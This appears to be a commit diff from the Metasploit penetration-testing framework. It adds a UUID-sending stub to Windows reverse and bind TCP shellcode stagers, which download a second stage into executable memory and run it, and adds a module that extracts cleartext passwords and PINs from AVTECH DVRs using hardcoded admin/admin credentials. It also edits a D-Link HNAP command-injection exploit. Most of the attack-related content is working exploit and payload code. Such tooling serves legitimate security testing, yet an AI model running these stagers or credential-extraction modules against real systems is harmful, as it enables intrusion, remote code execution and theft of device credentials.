@ -17,6 +18,7 @@ module Payload::Windows::ReverseTcp
|
|||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::SendUUID
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
|
@ -40,6 +42,14 @@ module Payload::Windows::ReverseTcp
|
|||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
@ -72,6 +82,8 @@ module Payload::Windows::ReverseTcp
|
|||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
|
||||
space += uuid_required_size if include_send_uuid
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
@ -167,7 +179,11 @@ module Payload::Windows::ReverseTcp
|
|||
|
||||
asm << %Q^
|
||||
connected:
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; flags
|
||||
|
|
|
@ -0,0 +1,54 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/uuid'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Basic send_uuid stub for Windows ARCH_X86 payloads
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::SendUUID
|
||||
|
||||
#
|
||||
# Generate assembly code that writes the UUID to the socket.
|
||||
#
|
||||
# This code assumes that the block API pointer is in ebp, and
|
||||
# the communications socket handle is in edi.
|
||||
#
|
||||
def asm_send_uuid(uuid=nil)
|
||||
uuid ||= generate_payload_uuid
|
||||
uuid_raw = uuid.to_raw
|
||||
|
||||
asm =%Q^
|
||||
send_uuid:
|
||||
push 0 ; flags
|
||||
push #{uuid_raw.length} ; length of the UUID
|
||||
call get_uuid_address ; put uuid buffer on the stack
|
||||
db #{raw_to_db(uuid_raw)} ; UUID
|
||||
get_uuid_address:
|
||||
push edi ; saved socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
|
||||
call ebp ; call send
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
def uuid_required_size
|
||||
# Start with the number of bytes required for the instructions
|
||||
space = 17
|
||||
|
||||
# a UUID is 16 bytes
|
||||
space += 16
|
||||
|
||||
space
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/send_uuid'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
|
@ -17,6 +18,7 @@ module Payload::Windows::BindTcp_x64
|
|||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::SendUUID_x64
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
||||
|
@ -38,6 +40,18 @@ module Payload::Windows::BindTcp_x64
|
|||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def use_ipv6
|
||||
false
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
@ -74,6 +88,11 @@ module Payload::Windows::BindTcp_x64
|
|||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
#space += 14
|
||||
|
||||
# 2 more bytes are added for IPv6
|
||||
space += 2 if use_ipv6
|
||||
|
||||
space += uuid_required_size if include_send_uuid
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
@ -87,7 +106,17 @@ module Payload::Windows::BindTcp_x64
|
|||
#
|
||||
def asm_bind_tcp(opts={})
|
||||
reliable = opts[:reliable]
|
||||
encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
addr_fam = 2
|
||||
sockaddr_size = 16
|
||||
stack_alloc = 408+8+8*6+32*7
|
||||
|
||||
if use_ipv6
|
||||
addr_fam = 23
|
||||
sockaddr_size = 28
|
||||
stack_alloc += 8*2 # two more rax pushes
|
||||
end
|
||||
|
||||
encoded_port = "0x%.16x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
bind_tcp:
|
||||
|
@ -98,58 +127,85 @@ module Payload::Windows::BindTcp_x64
|
|||
sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData
|
||||
; structure (+8 for alignment)
|
||||
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
|
||||
xor rax, rax
|
||||
^
|
||||
|
||||
if use_ipv6
|
||||
asm << %Q^
|
||||
; IPv6 requires another 12 zero-bytes for the socket structure,
|
||||
; so push 16 more onto the stack
|
||||
push rax
|
||||
push rax
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
push rax ; stack alignment
|
||||
push rax ; tail-end of the sockaddr_in/6 struct
|
||||
mov r12, #{encoded_port}
|
||||
push r12 ; bind to 0.0.0.0 family AF_INET and port 4444
|
||||
push r12 ; bind to 0.0.0.0/[::] family AF_INET/6 and specified port
|
||||
mov r12, rsp ; save pointer to sockaddr_in struct for bind call
|
||||
|
||||
; perform the call to LoadLibraryA...
|
||||
mov rcx, r14 ; set the param for the library to load
|
||||
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
; perform the call to WSAStartup...
|
||||
mov rdx, r13 ; second param is a pointer to this stuct
|
||||
push 0x0101 ;
|
||||
pop rcx ; set the param for the version requested
|
||||
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||
call rbp ; WSAStartup( 0x0101, &WSAData );
|
||||
|
||||
; perform the call to WSASocketA...
|
||||
push #{addr_fam} ; push AF_INET/6
|
||||
pop rcx ; pop family into rcx
|
||||
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
|
||||
push rax ; push null for reserved parameter
|
||||
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
xor r8, r8 ; we do not specify a protocol
|
||||
inc rax ;
|
||||
mov rdx, rax ; push SOCK_STREAM
|
||||
inc rax ;
|
||||
mov rcx, rax ; push AF_INET
|
||||
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||
call rbp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
mov rdi, rax ; save the socket for later
|
||||
|
||||
; perform the call to bind...
|
||||
push 16 ;
|
||||
push #{sockaddr_size}
|
||||
pop r8 ; length of the sockaddr_in struct (we only set the
|
||||
; first 8 bytes as the last 8 are unused)
|
||||
; first 8 bytes as the rest aren't used)
|
||||
mov rdx, r12 ; set the pointer to sockaddr_in struct
|
||||
mov rcx, rdi ; socket
|
||||
mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
|
||||
call rbp ; bind( s, &sockaddr_in, 16 );
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
|
||||
call rbp ; bind( s, &sockaddr_in, #{sockaddr_size} );
|
||||
|
||||
; perform the call to listen...
|
||||
xor rdx, rdx ; backlog
|
||||
mov rcx, rdi ; socket
|
||||
mov r10d, 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
|
||||
call rbp ; listen( s, 0 );
|
||||
|
||||
; perform the call to accept...
|
||||
xor r8, r8 ; we set length for the sockaddr struct to zero
|
||||
xor rdx, rdx ; we dont set the optional sockaddr param
|
||||
mov rcx, rdi ; listening socket
|
||||
mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
|
||||
call rbp ; accept( s, 0, 0 );
|
||||
|
||||
; perform the call to closesocket...
|
||||
mov rcx, rdi ; the listening socket to close
|
||||
mov rdi, rax ; swap the new connected socket over the listening socket
|
||||
mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||
call rbp ; closesocket( s );
|
||||
; restore RSP so we dont have any alignment issues with the next block...
|
||||
add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations
|
||||
|
||||
; restore RSP so we dont have any alignment issues with the next block...
|
||||
add rsp, #{stack_alloc} ; cleanup the stack allocations
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
|
||||
|
@ -158,9 +214,10 @@ module Payload::Windows::BindTcp_x64
|
|||
push 4 ;
|
||||
pop r8 ; length = sizeof( DWORD );
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call rbp ; recv( s, &dwLength, 4, 0 );
|
||||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
||||
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
push 0x40 ;
|
||||
|
@ -169,18 +226,21 @@ module Payload::Windows::BindTcp_x64
|
|||
pop r8 ; MEM_COMMIT
|
||||
mov rdx, rsi ; the newly recieved second stage length.
|
||||
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
||||
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
; Receive the second stage and execute it...
|
||||
mov rbx, rax ; rbx = our new memory address for the new stage
|
||||
mov r15, rax ; save the address so we can jump into it later
|
||||
|
||||
read_more: ;
|
||||
xor r9, r9 ; flags
|
||||
mov r8, rsi ; length
|
||||
mov rdx, rbx ; the current address into our second stages RWX buffer
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call rbp ; recv( s, buffer, length, 0 );
|
||||
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
sub rsi, rax ; length -= bytes_received
|
||||
test rsi, rsi ; test length
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'msf/core'
|
|||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
require 'msf/core/payload/uuid_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -20,7 +20,7 @@ module Payload::Windows::ReverseHttp_x64
|
|||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
include Msf::Payload::UUIDOptions
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Register reverse_http specific options
|
||||
|
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/send_uuid'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
|
@ -17,6 +18,7 @@ module Payload::Windows::ReverseTcp_x64
|
|||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::SendUUID_x64
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
||||
|
@ -47,6 +49,14 @@ module Payload::Windows::ReverseTcp_x64
|
|||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -80,6 +90,8 @@ module Payload::Windows::ReverseTcp_x64
|
|||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
|
||||
space += uuid_required_size if include_send_uuid
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
@ -143,7 +155,11 @@ module Payload::Windows::ReverseTcp_x64
|
|||
call rbp ; connect( s, &sockaddr, 16 );
|
||||
; restore RSP so we dont have any alignment issues with the next block...
|
||||
add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
|
||||
|
|
|
@ -0,0 +1,56 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/uuid'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Basic send_uuid stub for Windows ARCH_X86_64 payloads
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::SendUUID_x64
|
||||
|
||||
#
|
||||
# Generate assembly code that writes the UUID to the socket.
|
||||
#
|
||||
# This code assumes that the block API pointer is in rbp, and
|
||||
# the communications socket handle is in rdi.
|
||||
#
|
||||
def asm_send_uuid(uuid=nil)
|
||||
uuid ||= generate_payload_uuid
|
||||
uuid_raw = uuid.to_raw
|
||||
|
||||
asm =%Q^
|
||||
send_uuid:
|
||||
xor r9, r9 ; flags
|
||||
push #{uuid_raw.length} ; length of the UUID
|
||||
pop r8
|
||||
call get_uuid_address ; put uuid buffer on the stack
|
||||
db #{raw_to_db(uuid_raw)} ; UUID
|
||||
get_uuid_address:
|
||||
pop rdx ; UUID address
|
||||
mov rcx, rdi ; Socket handle
|
||||
mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
|
||||
call rbp ; call send
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
def uuid_required_size
|
||||
# Start with the number of bytes required for the instructions
|
||||
space = 25
|
||||
|
||||
# a UUID is 16 bytes
|
||||
space += 16
|
||||
|
||||
space
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,96 @@
|
|||
# -*- coding => binary -*-
|
||||
|
||||
require 'json'
|
||||
require 'fileutils'
|
||||
|
||||
#
|
||||
# This class provides a thread-friendly hash file store in JSON format
|
||||
#
|
||||
module Rex
|
||||
class JSONHashFile
|
||||
|
||||
attr_accessor :path
|
||||
|
||||
def initialize(path)
|
||||
self.path = path
|
||||
@lock = Mutex.new
|
||||
@hash = {}
|
||||
@last = 0
|
||||
::FileUtils.mkdir_p(::File.dirname(path))
|
||||
synced_update
|
||||
end
|
||||
|
||||
def [](k)
|
||||
synced_update
|
||||
@hash[k]
|
||||
end
|
||||
|
||||
def []=(k,v)
|
||||
synced_update do
|
||||
@hash[k] = v
|
||||
end
|
||||
end
|
||||
|
||||
def keys
|
||||
synced_update
|
||||
@hash.keys
|
||||
end
|
||||
|
||||
def delete(k)
|
||||
synced_update do
|
||||
@hash.delete(k)
|
||||
end
|
||||
end
|
||||
|
||||
def clear
|
||||
synced_update do
|
||||
@hash.clear
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Save the file, but prevent thread & process contention
|
||||
def synced_update(&block)
|
||||
@lock.synchronize do
|
||||
::File.open(path, ::File::RDWR|::File::CREAT) do |fd|
|
||||
fd.flock(::File::LOCK_EX)
|
||||
|
||||
# Reload and merge if the file has changed recently
|
||||
if fd.stat.mtime.to_f > @last
|
||||
parse_data(fd.read).merge(@hash).each_pair do |k,v|
|
||||
@hash[k] = v
|
||||
end
|
||||
end
|
||||
|
||||
res = nil
|
||||
|
||||
# Update the file on disk if new data is written
|
||||
if block_given?
|
||||
res = block.call
|
||||
fd.rewind
|
||||
fd.write(JSON.pretty_generate(@hash))
|
||||
fd.sync
|
||||
fd.truncate(fd.pos)
|
||||
end
|
||||
|
||||
@last = fd.stat.mtime.to_f
|
||||
|
||||
res
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def parse_data(data)
|
||||
return {} if data.to_s.strip.length == 0
|
||||
begin
|
||||
JSON.parse(data)
|
||||
rescue JSON::ParserError => e
|
||||
# elog("JSONHashFile @ #{path} was corrupt: #{e.class} #{e}"
|
||||
{}
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -317,6 +317,11 @@ class ClientCore < Extension
|
|||
response = client.send_request(*args)
|
||||
|
||||
mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
|
||||
|
||||
# Normalise the format of the incoming machine id so that it's consistent
|
||||
# regardless of case and leading/trailing spaces. This means that the
|
||||
# individual meterpreters don't have to care
|
||||
mid.downcase!.strip! if mid
|
||||
return Rex::Text.md5(mid)
|
||||
end
|
||||
|
||||
|
|
|
@ -52,6 +52,7 @@ class Console::CommandDispatcher::Core
|
|||
"machine_id" => "Get the MSF ID of the machine attached to the session",
|
||||
"quit" => "Terminate the meterpreter session",
|
||||
"resource" => "Run the commands stored in a file",
|
||||
"uuid" => "Get the UUID for the current session",
|
||||
"read" => "Reads data from a channel",
|
||||
"run" => "Executes a meterpreter script or Post module",
|
||||
"bgrun" => "Executes a meterpreter script as a background thread",
|
||||
|
@ -80,8 +81,6 @@ class Console::CommandDispatcher::Core
|
|||
# Migration only supported on windows and linux
|
||||
c["migrate"] = "Migrate the server to another process"
|
||||
|
||||
# UUID functionality isn't yet available on other platforms
|
||||
c["uuid"] = "Get the UUID for the current session"
|
||||
|
||||
# Yet to implement transport hopping for other meterpreters.
|
||||
# Works for posix and native windows though.
|
||||
|
|
|
@ -31,7 +31,7 @@ Gem::Specification.new do |spec|
|
|||
# Metasploit::Credential database models
|
||||
spec.add_runtime_dependency 'metasploit-credential', '~> 1.0'
|
||||
# Database models shared between framework and Pro.
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '~> 1.0'
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '~> 1.2'
|
||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
|
|
|
@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '~> 1.0'
|
||||
# Needed for Meterpreter on Windows, soon others.
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '0.0.7'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.2'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
@ -74,7 +74,7 @@ Gem::Specification.new do |spec|
|
|||
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
|
||||
spec.add_runtime_dependency 'railties'
|
||||
# required for OS fingerprinting
|
||||
spec.add_runtime_dependency 'recog', '~> 1.0'
|
||||
spec.add_runtime_dependency 'recog', '~> 2.0'
|
||||
|
||||
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
||||
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
||||
|
|
|
@ -0,0 +1,110 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'AVTECH 744 DVR Account Information Retrieval',
|
||||
'Description' => %q{
|
||||
This module will extract the accounts information from the AVTECH 744 DVR devices,
|
||||
including all the usernames and cleartext passwords plus the device PIN, along with
|
||||
a few other miscellaneous details. In order to extract the information, hardcoded
|
||||
credentials admin/admin are used. These credentials can't be changed from the device
|
||||
console UI neither the web UI.
|
||||
},
|
||||
'Author' => [ 'nstarke' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/cgi-bin/user/Config.cgi',
|
||||
'cookie' => "SSID=#{Rex::Text.encode_base64('admin:admin')};",
|
||||
'vars_post' => {
|
||||
'action' => 'get',
|
||||
'category' => 'Account.*'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'No response received from the target')
|
||||
end
|
||||
|
||||
unless res.code == 200
|
||||
fail_with(Failure::Unknown, 'An unknown error occured')
|
||||
end
|
||||
|
||||
raw_collection = extract_data(res.body)
|
||||
extract_creds(raw_collection)
|
||||
|
||||
p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)
|
||||
print_good("avtech744.dvr.accounts stored in #{p}")
|
||||
end
|
||||
|
||||
def extract_data(body)
|
||||
raw_collection = []
|
||||
body.each_line do |line|
|
||||
key, value = line.split('=')
|
||||
if key && value
|
||||
_, second, third = key.split('.')
|
||||
if third
|
||||
index = second.slice(second.length - 1).to_i
|
||||
raw_collection[index] = raw_collection[index] ||= {}
|
||||
case third
|
||||
when 'Username'
|
||||
raw_collection[index][:username] = value.strip!
|
||||
when 'Password'
|
||||
raw_collection[index][:password] = value.strip!
|
||||
end
|
||||
elsif second.include?('Password')
|
||||
print_good("PIN Retrieved: #{key} - #{value.strip!}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
raw_collection
|
||||
end
|
||||
|
||||
def extract_creds(raw_collection)
|
||||
raw_collection.each do |raw|
|
||||
unless raw
|
||||
next
|
||||
end
|
||||
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: raw[:password],
|
||||
private_type: :password,
|
||||
username: raw[:username]
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
|
||||
login_data.merge!(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -32,7 +32,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
Opt::CHOST,
|
||||
OptInt.new('CONNECTION_TIMEOUT', [true, 'The timeout value for each probe', 2]),
|
||||
OptInt.new('RETRIES', [true, 'The number of retries per community string', 0]),
|
||||
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
|
||||
OptEnum.new('VERSION', [true, 'The SNMP version to scan', 'all', ['1', '2c', 'all']]),
|
||||
OptString.new('PASSWORD', [ false, 'The password to test' ]),
|
||||
OptPath.new('PASS_FILE', [ false, "File containing communities, one per line",
|
||||
|
@ -43,16 +42,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE')
|
||||
end
|
||||
|
||||
# Operate on a single host so that we can take advantage of multithreading
|
||||
def run_host(ip)
|
||||
|
||||
# Define our batch size
|
||||
def run_batch_size
|
||||
datastore['BATCHSIZE'].to_i
|
||||
end
|
||||
|
||||
# Operate on an entire batch of hosts at once
|
||||
def run_batch(batch)
|
||||
|
||||
batch.each do |ip|
|
||||
collection = Metasploit::Framework::CommunityStringCollection.new(
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD']
|
||||
|
@ -82,14 +74,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential} (Access level: #{result.access_level})"
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential} (Access level: #{result.access_level}); Proof (sysDescr.0): #{result.proof}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
|
|
|
@ -13,9 +13,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link Devices UPnP SOAPAction-Header Command Execution',
|
||||
'Name' => 'D-Link Devices HNAP SOAPAction-Header Command Execution',
|
||||
'Description' => %q{
|
||||
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
|
||||
Different D-Link Routers are vulnerable to OS command injection in the HNAP SOAP
|
||||
interface. Since it is a blind OS command injection vulnerability, there is no
|
||||
output for the executed command. This module has been tested on a DIR-645 device.
|
||||
The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB,
|
||||
|
@ -99,6 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
uri = '/HNAP1/'
|
||||
|
||||
# we can not use / in our command so we need to use a little trick
|
||||
cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd
|
||||
soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`"
|
||||
|
|
@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Micahel Milvich', # vulnerability discovery, advisory
|
||||
'Michael Milvich', # vulnerability discovery, advisory
|
||||
'Sofiane Talmat', # vulnerability discovery, advisory
|
||||
'h0ng10' # Metasploit module
|
||||
],
|
||||
|
@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
def get_security_token(lenovo_directory)
|
||||
unless client.railgun.get_dll('tvsutil')
|
||||
client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
|
||||
client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl')
|
||||
client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], nil, 'cdecl')
|
||||
end
|
||||
|
||||
dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
|
||||
|
|
|
@ -41,7 +41,7 @@ module Metasploit3
|
|||
#
|
||||
# Dynamically builds the exec payload based on the user's options.
|
||||
#
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
cmd_str = datastore['CMD'] || ''
|
||||
# Split the cmd string into arg chunks
|
||||
cmd_parts = Shellwords.shellsplit(cmd_str)
|
||||
|
|
|
@ -45,7 +45,7 @@ module Metasploit3
|
|||
#
|
||||
# Dynamically builds the exec payload based on the user's options.
|
||||
#
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
bsd_x86_exec_payload
|
||||
end
|
||||
|
||||
|
|
|
@ -43,7 +43,7 @@ module Metasploit3
|
|||
#
|
||||
# Dynamically builds the adduser payload based on the user's options.
|
||||
#
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
user = datastore['USER'] || 'metasploit'
|
||||
pass = datastore['PASS'] || 'metasploit'
|
||||
shell = datastore['SHELL'] || '/bin/sh'
|
||||
|
|
|
@ -35,7 +35,7 @@ module Metasploit3
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
cmd = datastore['CMD'] || ''
|
||||
|
||||
payload =
|
||||
|
|
|
@ -28,7 +28,7 @@ module Metasploit3
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
cmd = (datastore['CMD'] || '') << "\x00"
|
||||
call = "\xe8" + [cmd.length].pack('V')
|
||||
payload =
|
||||
|
|
|
@ -44,7 +44,7 @@ module Metasploit3
|
|||
#
|
||||
# Dynamically builds the adduser payload based on the user's options.
|
||||
#
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
